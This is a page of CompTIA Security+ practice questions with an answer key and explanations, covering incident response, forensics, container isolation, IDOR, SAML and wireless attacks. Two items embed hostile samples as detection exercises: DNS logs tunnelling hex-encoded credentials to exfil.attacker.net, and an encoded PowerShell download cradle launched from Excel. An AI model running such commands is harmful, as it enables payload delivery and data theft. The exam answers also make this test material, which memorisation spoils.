All practice questions

2232 questions

Question 101Question

A security analyst detects active data exfiltration originating from a compromised database server. Which of the following incident response steps should be taken first?

Show answer & explanation

Answer: Isolate the affected server from the network to stop the data transfer.

Answer

Isolate the affected server from the network to stop the data transfer.
Isolating the affected server immediately contains the active incident by terminating ongoing exfiltration channels and preventing lateral movement across the internal network.

Step-by-Step Solution

1
Identify the current state of the security incident from the scenario.
An attack is actively occurring (data exfiltration in progress).
Active threats require immediate containment to limit damage and prevent further exfiltration.
2
Map the candidate actions to standard incident response lifecycle phases.
Isolating the host belongs to Containment, formatting belongs to Eradication, restoring belongs to Recovery, and reviewing belongs to Post-Incident Activity.
Standard NIST incident response guidelines dictate performing Containment prior to Eradication, Recovery, or Post-Incident activities.

Key Concept

Incident Response Lifecycle Order
Question 102Question

A security engineer is evaluating an enterprise microservices platform where multiple application containers share the underlying Linux host kernel. The engineer needs to enforce a control that restricts containerized application processes from issuing unauthorized or risky system calls (syscalls) directly to the host kernel. Which of the following mechanisms best satisfies this security requirement?

Show answer & explanation

Answer: Applying secure computing mode (seccomp) profiles to restrict allowable kernel system calls

Answer

Applying secure computing mode (seccomp) profiles to restrict allowable kernel system calls
Secure computing mode (seccomp) allows administrators to restrict which system calls a containerized process can execute on the host kernel, significantly reducing the surface area for kernel vulnerabilities and container escape attacks.

Step-by-Step Solution

1
Identify the threat and architecture model
Containers run as isolated process sets sharing a single underlying host kernel.
Because containers share the host kernel, malicious or compromised process execution can leverage unnecessary system calls to achieve host kernel compromise or container escape.
2
Evaluate technical controls for system call filtering
Seccomp (Secure Computing Mode) defines syscall white-lists/black-lists enforced directly by the Linux kernel.
Restricting process syscall access via seccomp profiles effectively minimizes the attack surface against the shared kernel.

Key Concept

Container System Call Filtering via Seccomp
Question 103Question

An application security auditor reviews network traffic logs and backend code snippets for a cloud-hosted Web API. The audit reveals two specific behaviors:

1. When a client submits a malformed query request, the server responds with an HTTP 500 Internal Server Error containing full stack traces, database schema details, and unhandled exception data.
2. The endpoint `/api/v1/account` accepts a user-supplied parameter `account_id` and retrieves requested profile records without checking whether the requesting user's token has permission to access that specific account.

Which of the following application vulnerabilities are directly illustrated by these findings? (Select TWO).

Select all that apply

Show answer & explanation

Answer: Improper error handling leading to sensitive information disclosure; Broken Object Level Authorization (BOLA) / Insecure Direct Object Reference (IDOR)

Answer

The application exhibits improper error handling (information disclosure via raw stack traces) and Broken Object Level Authorization / Insecure Direct Object Reference (accessing unauthorized records via parameter manipulation).
The correct selections describe the two distinct findings in the scenario: exposing raw stack traces and internal schema information when errors occur is improper error handling, while trusting user-supplied resource identifiers without enforcing permissions is Insecure Direct Object Reference (IDOR) / Broken Object Level Authorization (BOLA).

Step-by-Step Solution

1
Analyze Finding 1 (Server Error Behavior)
The server exposes internal database schemas and full application stack traces upon receiving invalid inputs.
This represents improper error handling, which discloses sensitive implementation details that aid attackers in reconnaissance.
2
Analyze Finding 2 (API Endpoint Behavior)
The application allows clients to supply arbitrary `account_id` values and fetches data without comparing the user's session rights against the target resource.
This is an Insecure Direct Object Reference (IDOR), also classified under OWASP as Broken Object Level Authorization (BOLA).
3
Evaluate Incorrect Distractors
Discard XSS and MFA options as they confuse client-side script injection and identity verification with internal trace exposure and access authorization checks.
Ensures precise categorization of vulnerability classes according to standard application security taxonomies.

Key Concept

Identifying application security vulnerabilities including information disclosure via improper error handling and authorization flaws like IDOR/BOLA.
Question 104Question

A network administrator needs to ensure that a critical database server remains operational without data loss or downtime if a single internal storage drive fails. Which of the following technical controls directly provides this internal drive-level fault tolerance?

Show answer & explanation

Answer: Redundant Array of Independent Disks (RAID) storage configuration

Answer

Redundant Array of Independent Disks (RAID) storage configuration
A Redundant Array of Independent Disks (RAID) configuration provides immediate hardware fault tolerance by duplicating data or distributing parity across multiple physical drives. If a single drive fails, the server continues to function normally without interruption or data loss.

Step-by-Step Solution

1
Identify the primary requirement
The requirement calls for drive-level fault tolerance within a single server to prevent downtime during a hardware disk failure.
Understanding the scope of the risk (single disk failure inside one server chassis) narrows the optimal solution to storage fault tolerance.
2
Evaluate storage fault tolerance technologies
RAID combines multiple physical hard drives into a single logical unit to provide disk redundancy and parity.
If one drive fails in a fault-tolerant RAID setup, the server remains operational while the array rebuilds data.

Key Concept

Disk Redundancy and Fault Tolerance
Question 105Question

A security team is evaluating a microservices environment where untrusted code executes inside application containers on a shared host operating system. The development team asserts that Linux control groups (cgroups) and namespaces provide the same level of boundary separation as a hardware-assisted Type-1 hypervisor. Which of the following security risks should the security team highlight as the primary concern with this architecture?

Show answer & explanation

Answer: A kernel-level privilege escalation vulnerability inside a container can lead to a host compromise because containers share the host kernel.

Answer

A kernel-level privilege escalation vulnerability inside a container can lead to a host compromise because containers share the host kernel.
The correct option correctly points out that application containers share the host operating system kernel. While Linux namespaces and control groups isolate system resource views and restrict resource usage, they do not create a separate guest kernel or hardware virtualization layer. Consequently, a privilege escalation flaw or zero-day vulnerability in the host kernel can allow a container escape, granting full host access.

Step-by-Step Solution

1
Analyze the isolation architecture proposed by the development team.
The proposed architecture uses application containers dependent on host OS Linux kernel facilities (namespaces and cgroups) rather than virtual machines with hypervisor isolation.
Understanding the operational boundary of containers vs. hypervisors is essential to evaluating risk.
2
Evaluate the risk associated with shared kernel architectures.
Because all containers running on the host interact directly with the same underlying OS kernel syscall interface, any successful kernel exploit allows an attacker to break out of the container boundary.
Identifying shared components reveals single points of failure in multi-tenant systems.
3
Select the option that accurately describes this structural risk.
The risk of kernel vulnerability exploitation leading to host compromise correctly highlights the security trade-off between containerization and full virtualization.
Virtual machines enforce hardware-level separation via a hypervisor, whereas standard containers share the host kernel.

Key Concept

Container Isolation vs Virtual Machine Hypervisor Boundaries
Question 106Question

A organization needs to integrate its internal directory service with external cloud services so that employees can authenticate to third-party web portals using their existing corporate credentials. Which XML-based open standard should the identity architect select to enable cross-domain single sign-on (SSO)?

Show answer & explanation

Answer: Security Assertion Markup Language (SAML)

Answer

Security Assertion Markup Language (SAML)
Security Assertion Markup Language (SAML) is an XML-based framework used for exchanging security assertions containing authentication details between an identity provider and external service providers, enabling web-based federated single sign-on.

Step-by-Step Solution

1
Identify the core requirement
The requirement calls for an XML-based open standard that supports cross-domain single sign-on (SSO) to external web applications using corporate credentials.
Establishing identity federation across disparate organizational boundaries requires a standard token format for asserting user identities securely across web browsers.
2
Evaluate candidate protocols
Security Assertion Markup Language (SAML) uses XML assertions passed via HTTP to authenticate users between an Identity Provider (IdP) and a Service Provider (SP).
Protocols such as LDAP, RADIUS, and Kerberos are designed for local network directory queries or network access AAA, rather than federated web SSO.

Key Concept

Federated Identity and SAML Architecture
Estimated Time:45s
Question 107Question

A security analyst is establishing baseline service level objectives for system availability and recovery. Match each resiliency metric on the left with its corresponding definition on the right.

Click a left item, then click its matching right item

Items

Recovery Time Objective (RTO)
Recovery Point Objective (RPO)
Mean Time Between Failures (MTBF)
Mean Time to Repair (MTTR)

Matches

Show answer & explanation

Answer

Recovery Time Objective (RTO) pairs with maximum acceptable service disruption duration; Recovery Point Objective (RPO) pairs with maximum acceptable data loss time; Mean Time Between Failures (MTBF) pairs with average operational uptime before failure; Mean Time to Repair (MTTR) pairs with average time required to repair a failed component.
Each metric uniquely defines a specific resilience or availability constraint: RTO defines outage duration tolerance, RPO defines data loss age limits, MTBF calculates component reliability, and MTTR measures repair efficiency.

Step-by-Step Solution

1
Differentiate between time-to-recover metrics (RTO) and data-loss metrics (RPO).
RTO measures duration of downtime, while RPO measures volume/age of data loss.
RTO focuses on service restoration speed, whereas RPO focuses on data restoration limits.
2
Distinguish system reliability metrics (MTBF) from maintenance efficiency metrics (MTTR).
MTBF quantifies how long a system operates reliably without failing, while MTTR quantifies how quickly repairs are completed after a failure occurs.
MTBF reflects system durability, whereas MTTR reflects incident resolution speed.

Key Concept

High Availability and Resilience Metrics (RTO, RPO, MTBF, MTTR)
Question 108Question

A security architect is updating the network architecture for an organization that hosts public-facing web services, internal corporate workstations, and backend databases containing confidential payment data. Which of the following network segmentation controls and design practices should the architect implement to secure East-West traffic and isolate these environments? (Select TWO.)

Select all that apply

Show answer & explanation

Answer: Place public-facing web servers in a screened subnet (DMZ) to prevent external untrusted traffic from directly accessing backend database servers.; Implement microsegmentation using internal next-generation firewalls to continuously filter and restrict traffic moving laterally between server zones.

Answer

The architect should deploy public web servers in a screened subnet (DMZ) to prevent direct inbound database connectivity, and implement microsegmentation via internal next-generation firewalls to inspect lateral East-West traffic.
Establishing a screened subnet (DMZ) ensures external web traffic is isolated from internal databases, while microsegmentation restricts lateral movement between internal workload zones by applying policy checks on East-West communications.

Step-by-Step Solution

1
Analyze North-South traffic control requirements
Identify that public-facing web servers require isolation from sensitive internal backend systems.
Placing web application servers in a screened subnet (DMZ) ensures that exposed endpoints cannot initiate unrestricted connections into database zones.
2
Analyze East-West traffic control requirements
Identify that lateral movement between internal tiers must be restricted using policy-based enforcement.
Microsegmentation partitions internal networks into granular zones and enforces firewall policies on inter-segment communication.
3
Evaluate distractor controls against security best practices
Reject single-perimeter trust assumptions and shared VLAN topologies.
Implicit trust models and combined untrusted/sensitive VLANs violate isolation standards.

Key Concept

Network Segmentation and Microsegmentation
Question 109Question

A security operations analyst is investigating an automated high-severity alert triggered by an enterprise SIEM. The alert correlated the following log entries generated by an internal host (`192.168.10.45`) across a local DNS resolver and perimeter firewall logs:

text
2026-07-27T14:15:02Z dns-core-01 named[4102]: client @0x7f8a 192.168.10.45#51204 (61646d696e2d6372656473.exfil.attacker.net): query: 61646d696e2d6372656473.exfil.attacker.net IN TXT + (10.0.0.2)
2026-07-27T14:15:05Z dns-core-01 named[4102]: client @0x7f8a 192.168.10.45#51205 (70617373776f72643132.exfil.attacker.net): query: 70617373776f72643132.exfil.attacker.net IN TXT + (10.0.0.2)
2026-07-27T14:15:09Z dns-core-01 named[4102]: client @0x7f8a 192.168.10.45#51206 (5345435245544b455931.exfil.attacker.net): query: 5345435245544b455931.exfil.attacker.net IN TXT + (10.0.0.2)
2026-07-27T14:15:12Z fw-edge-01 syslog: action="allow" src_ip=192.168.10.45 src_port=51207 dst_ip=198.51.100.53 dst_port=53 proto=UDP bytes_sent=4120 bytes_recv=8900

Based on these correlated log entries, which of the following malicious activities is taking place, and what key log feature supports this conclusion?

Show answer & explanation

Answer: DNS data exfiltration (tunneling), indicated by sequential TXT record requests carrying high-entropy, hexadecimal-encoded payload strings in the subdomain parameters.

Answer

DNS data exfiltration (tunneling), indicated by sequential TXT record requests carrying high-entropy, hexadecimal-encoded payload strings in the subdomain parameters.
The correct answer accurately identifies DNS data exfiltration (tunneling). The raw DNS logs reveal sequential TXT queries to an external domain (`exfil.attacker.net`) containing long hexadecimal string prefixes in the subdomain field. When decoded (e.g., `61646d...` is hex for 'admin-creds'), these strings represent stolen data exfiltrated via covert DNS channels.

Step-by-Step Solution

1
Analyze the DNS resolver log entries (`dns-core-01`) for query structure and request types.
Identified rapid, sequential requests for TXT records where the hostname prefix consists of long, high-entropy hexadecimal character strings (e.g., `61646d696e...` translates to `admin-creds`).
Attackers encode sensitive stolen data into hostnames and use DNS query types like TXT or A records to bypass standard firewall port restrictions.
2
Correlate DNS query records with perimeter firewall logs (`fw-edge-01`).
Confirmed direct outbound UDP port 53 communication from host `192.168.10.45` to an external IP (`198.51.100.53`).
Firewall logs confirm data transmission occurring outside expected local DNS recursion paths.
3
Differentiate DNS exfiltration patterns from other attack vectors such as DDoS, SQL injection, or privilege escalation.
Determined that encoding payloads into DNS subdomains specifically matches covert channel exfiltration tactics.
The observed structure is specific to DNS covert channel tunneling, distinguishing it from web application flaws or identity management events.

Key Concept

DNS Exfiltration and SIEM Event Correlation
Question 110Question

A cybersecurity analyst is responding to an active incident on a powered-on workstation. The analyst must capture digital evidence while strictly adhering to the order of volatility. Which of the following evidence sources should the analyst capture FIRST?

Show answer & explanation

Answer: System RAM (Random Access Memory)

Answer

System RAM (Random Access Memory) must be captured first because it is the most volatile evidence source among the given choices.
System RAM contains transient data that is permanently lost if the machine is powered off or restarted. Forensic standards require capturing volatile memory before non-volatile media to preserve active processes, network connections, and unencrypted data.

Step-by-Step Solution

1
Review the forensic order of volatility principle.
Evidence must be collected starting from the most volatile (easily altered or lost) to the least volatile (persistent long-term storage).
Collecting evidence in order of volatility prevents critical transient data—such as open network sockets or memory-resident malware—from being lost.
2
Compare the volatility of system RAM against secondary storage, network logs, and backups.
RAM loses all contained data as soon as power is turned off or the machine reboots, whereas hard drives, network shares, and tapes preserve data persistently.
Primary system memory is volatile RAM, whereas disk drives and tapes are non-volatile media.
3
Determine the highest priority source.
System RAM is the most volatile component among the listed options and must be acquired first.
Direct alignment with standard digital forensics best practices.

Key Concept

Order of Volatility in Digital Forensics
Question 111Question

An enterprise organization is updating its hybrid storage security architecture to enhance protection for sensitive databases stored on storage area networks (SAN) and prevent unauthorized exfiltration of proprietary data. The security team requires a solution that provides dedicated hardware-backed key protection for disk volume encryption keys, as well as real-time content inspection of egress traffic to block unauthorized data transfers. Which of the following technical controls should the security architect select to meet these requirements? (Select TWO.)

Select all that apply

Show answer & explanation

Answer: Deployment of a Hardware Security Module (HSM) to generate, store, and manage key encryption keys (KEKs) for disk volume protection.; Implementation of a Network-based Data Loss Prevention (DLP) solution at network perimeter egress points to inspect outbound traffic.

Answer

The security architect should implement a Hardware Security Module (HSM) for dedicated cryptographic key management and a Network Data Loss Prevention (DLP) system for real-time monitoring and blocking of unauthorized data egress.
Implementing a Hardware Security Module (HSM) ensures secure, hardware-rooted management and protection of key encryption keys (KEKs) used to lock storage volume keys. Complementing this with a Network-based Data Loss Prevention (DLP) engine enables real-time deep packet inspection of egress traffic to enforce compliance policies and block sensitive data exfiltration.

Step-by-Step Solution

1
Identify the requirement for hardware-backed encryption key protection.
Selected Hardware Security Module (HSM) deployment for cryptographic key lifecycle management.
HSMs offer tamper-resistant hardware environments for managing Key Encryption Keys (KEKs) that secure storage volume encryption keys.
2
Identify the requirement for real-time egress content inspection.
Selected Network Data Loss Prevention (DLP) solution.
Network DLP inspects protocol traffic at network boundaries to prevent sensitive files and data patterns from unauthorized exfiltration.

Key Concept

Data Protection and Storage Security Architecture
Question 112Question

During a forensic investigation involving suspected corporate espionage, an incident responder must acquire evidence from an operational server processing sensitive customer data in system memory. The legal team specifies that all collected digital evidence must remain strictly admissible in judicial proceedings and verifiable against tampering throughout the evidence lifecycle. Which of the following procedures best maintains compliance with the order of volatility while establishing proper chain of custody?

Show answer & explanation

Answer: Capture system RAM using a validated live acquisition utility, immediately compute a cryptographic hash of the memory dump, and log the hash value along with the collector's identity, precise timestamp, and serial numbers in the custody transfer document.

Answer

Capturing volatile system RAM using a validated live acquisition tool, immediately computing a cryptographic hash of the capture file, and recording the hash alongside acquisition metadata and collector details in a formal chain of custody log fulfills both volatility and evidentiary chain requirements.
Capturing system RAM prior to system shutdown respects the order of volatility because RAM content is extremely ephemeral. Computing an immediate cryptographic hash establishes a verifiable integrity baseline. Logging the hash value, timestamp, collector identity, and hardware details into a formal chain of custody document ensures the evidence is legally defensible and tamper-evident.

Step-by-Step Solution

1
Prioritize Volatile Evidence Acquisition
System RAM is captured while the host remains operational, adhering strictly to the Order of Volatility (CPU registers/cache -> RAM -> network state -> disk -> archival media).
Powering down or altering system state prior to RAM capture permanently erodes volatile artifacts such as running processes, memory-only malware, and active encryption keys.
2
Establish Evidence Integrity Baseline
A cryptographic hash (such as SHA-256) is generated immediately after acquiring the memory image.
The calculated hash serves as a cryptographic fingerprint to prove that the evidence image is unmodified from the exact moment of capture.
3
Document Chain of Custody
The hash value, acquisition timestamp, examiner name, device serial numbers, and storage details are entered into a formal chain of custody log.
Chain of custody documentation tracks every individual who handled the evidence, ensuring complete traceability and legal admissibility in court.

Key Concept

Order of Volatility and Chain of Custody Integration
Question 113Question

A security analyst reviews a SIEM event log alert triggered by a host-based monitoring agent on a financial workstation:

text Timestamp: 2026-07-27T14:22:10Z Device: WKS-FIN-042 Event ID: 4688 (Process Creation) Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe CommandLine: powershell.exe -ExecutionPolicy Bypass -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJ2h0dHA6AC8ALwAxADkAMgAuADEANgA4AC4AMAAuADEANQAvAHAAYQB5AGwAbwBhAGQALgBwAHMxACcAKQA= ParentProcessName: C:\Program Files\Microsoft Office\Office16\EXCEL.EXE Account Name: jdoe

Based on the correlated process creation details in this log snippet, which of the following attack scenarios is actively occurring?

Show answer & explanation

Answer: A productivity application macro spawned an encoded PowerShell command to retrieve a remote secondary payload.

Answer

The correlated event log indicates that a macro within Microsoft Excel (EXCEL.EXE) spawned an encoded PowerShell process (powershell.exe) designed to download and execute an external payload script.
The Windows Event ID 4688 log shows Microsoft Excel (EXCEL.EXE) launching PowerShell with execution policy bypass flags and a Base64-encoded string. Base64 decoding reveals a script initiating an HTTP GET request to pull a payload. Spawning shell processes from office productivity applications is a standard indicator of malicious document macro execution.

Step-by-Step Solution

1
Analyze the event metadata and parent-child process relationship.
Event ID 4688 indicates process creation. The parent process is EXCEL.EXE and the spawned child process is powershell.exe.
Legitimate spreadsheet software rarely spawns command-line shell interpreters unless executing malicious embedded macros.
2
Decode and analyze the command-line arguments passed to the child process.
The flag -ExecutionPolicy Bypass bypasses script execution restrictions, and the Base64 encoded payload (-enc) decodes to a PowerShell DownloadString call targeted at an external IP address.
Attackers encode commands to obscure download cradles from simple keyword-based log filters.
3
Synthesize findings to determine the attack vector.
The log pattern matches a malicious document macro execution triggering a remote stager download.
Correlating parent process, child command parameters, and decoded payload strings confirms the initial execution mechanism.

Key Concept

Process Lineage and Command-Line Log Analysis
Question 114Question

An organization is updating its cybersecurity procedures to follow the standard NIST SP 800-61 incident response framework. In which sequential order should the cybersecurity team execute the four primary phases of the incident response lifecycle from beginning to end?

Drag items to arrange them in the correct order

Show answer & explanation

Answer

The correct sequential order of the NIST incident response lifecycle phases is Preparation, followed by Detection and Analysis, followed by Containment, Eradication, and Recovery, and ending with Post-Incident Activity.
According to the NIST SP 800-61 guidelines, the standard incident response lifecycle proceeds sequentially through four main phases: Preparation (setting up plans and capabilities), Detection and Analysis (discovering and investigating the security event), Containment, Eradication, and Recovery (limiting impact, eliminating the threat, and restoring systems), and Post-Incident Activity (reviewing lessons learned to refine future response).

Step-by-Step Solution

1
Identify the proactive groundwork phase
Preparation is established as the necessary starting phase before any active incident occurs.
An organization must prepare infrastructure, policies, and response capabilities prior to detecting an attack.
2
Determine the initial reactive phase during an active event
Detection and Analysis follows Preparation.
Once an incident occurs, the team must detect indicators of compromise and analyze logs to confirm the event.
3
Identify the active remediation phase
Containment, Eradication, and Recovery comes third.
After confirming the incident, immediate containment limits damage, eradication removes threat elements, and recovery restores normal operations.
4
Identify the wrap-up and review phase
Post-Incident Activity is the final phase.
Lessons learned and post-mortem analysis can only be completed after systems are fully recovered and stabilized.

Key Concept

NIST SP 800-61 Incident Response Lifecycle Phases
Question 115Question

During an operational security review, a SOC analyst identifies an unprivileged service account launching an encoded command that executes process hollowing against svchost.exe on a core database host. The analyst needs to stop active adversary command-and-control (C2) communication and prevent lateral movement immediately, while ensuring volatile memory (RAM) remains intact for live memory forensic extraction. Which of the following actions should the analyst execute FIRST using the EDR platform?

Show answer & explanation

Answer: Execute host-level network isolation via the EDR console to block system network traffic while preserving the EDR agent management channel.

Answer

Execute host-level network isolation via the EDR console to block system network traffic while preserving the EDR agent management channel.
Executing host-level network isolation via the EDR agent console immediately restricts all incoming and outgoing network traffic at the host network driver level, neutralizing command-and-control (C2) channels and blocking lateral movement. Crucially, the EDR console maintains an encrypted management tunnel to the host agent, allowing analysts to perform live incident response, pull volatile RAM images, and run forensic scripts while keeping the host powered on.

Step-by-Step Solution

1
Analyze the incident requirements and constraints
Identified the need for immediate containment of C2 and lateral movement while preserving volatile memory (RAM).
Process hollowing resides in system memory; restarting or powering down host destroys volatile evidence.
2
Evaluate EDR containment capabilities against legacy controls
Determined that EDR host-level network isolation disables network adapters logically without interrupting agent-to-console management.
This maintains analyst access for RAM acquisition and response playbooks while cutting off the adversary completely.
3
Select the correct initial operational step
Host isolation via the EDR console is the best initial response action.
It satisfies containment objectives without violating the order of volatility in digital forensics.

Key Concept

EDR Endpoint Network Isolation and Forensic Volatility Preservation
Estimated Time:1m 30s
Question 116Question

A security analyst is conducting a digital forensics collection on a Linux server suspected of being compromised by an attacker. To adhere to forensic principles regarding the order of volatility and evidence integrity, which of the following procedures should the analyst perform during the acquisition phase? (Select TWO).

Select all that apply

Show answer & explanation

Answer: Capture the contents of physical RAM prior to shutting down or rebooting the server.; Calculate and record SHA-256 cryptographic hashes of the disk images immediately following acquisition.

Answer

The analyst should capture the contents of physical RAM prior to shutting down or rebooting the server, and calculate and record SHA-256 cryptographic hashes of the disk images immediately following acquisition.
Preserving volatile RAM before system shutdown ensures transient artifacts are saved according to the order of volatility. Calculating cryptographic hashes immediately post-acquisition ensures the integrity of the evidence can be validated throughout the investigation.

Step-by-Step Solution

1
Evaluate the order of volatility for system components.
System RAM, active network connections, and cache are highly volatile and lost upon system shutdown or reboot, so RAM must be captured first while the system is running.
Capturing volatile memory before powering down preserves critical artifacts such as running processes, memory-resident malware, and decrypted keys.
2
Evaluate evidence integrity and chain of custody validation mechanisms.
Generating SHA-256 cryptographic hashes immediately post-acquisition creates an immutable mathematical fingerprint of the evidence.
Cryptographic hashes verify that forensic images remain exact byte-for-byte replicas of the evidence over time.

Key Concept

Order of Volatility and Evidence Integrity Preservation
Question 117Question

An Incident Response Team (IRT) responds to a active command-and-control (C2) beaconing alert on a critical internal database server. Place the following incident response actions in the correct sequential order according to the standard NIST SP 800-61 incident response lifecycle, starting with the earliest action.

Drag items to arrange them in the correct order

Show answer & explanation

Answer

The correct sequential sequence follows the NIST SP 800-61 lifecycle: Network Isolation (Containment) -> Volatile Memory Capture (Evidence Preservation) -> Malware/Persistence Removal (Eradication) -> Clean Backup Restoration (Recovery) -> Lessons-Learned Session (Post-Incident Activity).
Under NIST SP 800-61, incident response progresses strictly through Containment (network isolation), Forensic Evidence Preservation (memory acquisition), Eradication (malware and backdoor removal), Recovery (system restoration from clean backups), and Post-Incident Activity (lessons learned review).

Step-by-Step Solution

1
Execute initial containment by disconnecting the host from the network
Stops active C2 communications and prevents lateral movement.
Containment limits incident scope and stops ongoing damage immediately.
2
Preserve volatile evidence
Obtains volatile RAM and process state while the system remains intact.
Evidence collection must occur before system modifications corrupt forensic artifacts.
3
Perform system eradication
Removes malicious software, persistence mechanisms, and compromise artifacts.
Eradication ensures the adversary cannot re-establish control once restored.
4
Execute operational recovery
Restores database operations from known-good backups and reinstates production status under heightened monitoring.
Recovery safely returns services to production after confirming eradication.
5
Conduct post-incident review (lessons learned)
Identifies root cause, updates playbooks, and addresses operational gaps.
Post-incident analysis improves organizational resilience against future incidents.

Key Concept

NIST SP 800-61 Incident Response Lifecycle
Question 118Question

Match each enterprise security assessment requirement with the vulnerability scanning method or configuration best suited to satisfy it.

Click a left item, then click its matching right item

Items

Evaluating internal system patch levels and local configuration drift on remote worker laptops while minimizing network bandwidth consumption and VPN traffic.
Identifying unauthorized active services and unencrypted protocols on sensitive legacy Operational Technology (OT) devices prone to crashing under port probes.
Evaluating dynamic web applications during runtime to identify injection vulnerabilities and authentication flaws without requiring access to source code.
Assessing network-accessible target hosts across a corporate LAN to enumerate missing patches and missing security controls using domain administrative permissions.

Matches

Show answer & explanation

Answer

Each assessment scenario correctly maps to its ideal vulnerability assessment approach: evaluating remote endpoint drift locally without VPN overhead requires Agent-Based Scanning; assessing sensitive legacy OT systems without active probe disruption requires Passive Network Scanning; testing live web applications for runtime flaws requires Dynamic Application Security Testing (DAST); and conducting authenticated central scans across network hosts using domain privileges requires Credentialed Network-Based Scanning.
Matching each scanning scenario requires balancing assessment goals against operational constraints. Agent-based scanning minimizes network overhead for remote laptops by executing locally. Passive scanning prevents fragile OT system crashes by analyzing existing network traffic. Dynamic Application Security Testing (DAST) assesses live web applications without source code. Credentialed network scanning provides deep visibility into network-connected hosts using administrative accounts.

Step-by-Step Solution

1
Analyze the constraint of remote worker endpoints and VPN bandwidth limitations.
Local host execution is required to avoid heavy network traffic over VPN, pointing directly to agent-based assessment.
Agent-based assessment offloads processing and scan execution locally to the endpoint.
2
Evaluate the sensitivity of legacy Operational Technology (OT) equipment.
Active scanning packets can overload fragile legacy stacks; non-intrusive traffic inspection (passive scanning) is required.
Passive scanners observe mirror/SPAN ports without sending traffic to target OT controllers.
3
Determine the application security testing methodology for live web applications.
Black-box assessment of a running web application corresponds to Dynamic Application Security Testing (DAST).
DAST interacts with running application interfaces to detect runtime flaws.
4
Identify the network scan configuration utilizing elevated permissions across a LAN.
Connecting remotely over the network with administrative privileges describes credentialed network scanning.
Credentialed network scans leverage administrative access over network management protocols to inspect internal configurations.

Key Concept

Vulnerability Scanning Methodologies and Deployment Models
Question 119Question

A security analyst reviews wireless intrusion prevention system (WIPS) alert logs following reports of intermittent connectivity issues at a corporate office. The log reveals that multiple wireless workstations simultaneously disconnected from the corporate SSID 'Enterprise-Secure' after receiving spoofed 802.11 Subtype 12 management frames. Immediately following the disconnection, the affected workstations attempted to re-authenticate against an unauthorized access point broadcasting the same SSID on an adjacent channel, but using a degraded WPA2-PSK security mechanism instead of 802.1X WPA3-Enterprise. Which TWO of the following wireless attack indicators and techniques are demonstrated in this scenario?

Select all that apply

Show answer & explanation

Answer: 802.11 deauthentication frame injection used to disrupt active client connections; An Evil Twin deployment combined with a wireless security protocol downgrade attack

Answer

The scenario demonstrates an 802.11 deauthentication frame injection attack and an Evil Twin access point deployment executing a wireless protocol downgrade.
The scenario highlights two distinct indicators: 802.11 Subtype 12 management frames (which define deauthentication messages used to disconnect clients) and an unauthorized access point broadcasting a matching SSID while offering a weaker security posture (which defines an Evil Twin executing a protocol downgrade attack).

Step-by-Step Solution

1
Analyze the log indicators regarding client disconnection
Unauthenticated 802.11 Subtype 12 management frames are identified as deauthentication frames that forcibly disconnect clients from the legitimate AP.
Deauthentication frames are transmitted in cleartext in standard 802.11 management frames, allowing attackers to spoof AP MAC addresses and sever client connections.
2
Analyze the log indicators regarding client re-association and security mechanisms
Clients attempt to connect to a rogue access point using the same SSID ('Enterprise-Secure') on a different channel with a degraded cipher (WPA2-PSK instead of 802.1X WPA3-Enterprise).
An unauthorized AP broadcasting a matching network name is an Evil Twin, and forcing clients to use weaker authentication is a downgrade attack.

Key Concept

Identifying wireless attack indicators, specifically 802.11 deauthentication frame injection, Evil Twin rogue access points, and security downgrade techniques.
Estimated Time:1m 30s
Question 120Question

An enterprise security manager is evaluating a third-party cloud service provider and requires an independent audit report that verifies the operational effectiveness of the provider's security controls over a six-month testing period. Which of the following attestation reports should the security manager request?

Show answer & explanation

Answer: SOC 2 Type II report

Answer

SOC 2 Type II report
The SOC 2 Type II report is specifically designed to provide an independent audit of a service organization's security controls, evaluating both the design suitability and operational effectiveness over a specified testing period (typically 6 to 12 months).

Step-by-Step Solution

1
Identify the primary criteria specified in the requirement
The scenario calls for assessing security controls over a testing period (six months).
Security audits differentiate between point-in-time assessments and period-of-time evaluations.
2
Differentiate between SOC 1 and SOC 2 reports
SOC 2 targets Security, Availability, Processing Integrity, Confidentiality, and Privacy criteria, whereas SOC 1 targets financial reporting controls.
Cloud service provider security evaluations require SOC 2 criteria.
3
Distinguish between Type I and Type II attestation reports
Type I tests design at a single point in time, while Type II tests operational effectiveness over a duration.
The requirement specifically calls for verifying operational effectiveness over a six-month window.

Key Concept

SOC 2 Type II reports provide third-party attestation of the operational effectiveness of security controls over a specified time period.
PreviousPage 6 / 112Next
All practice questions — CompTIA Security+ | Examkin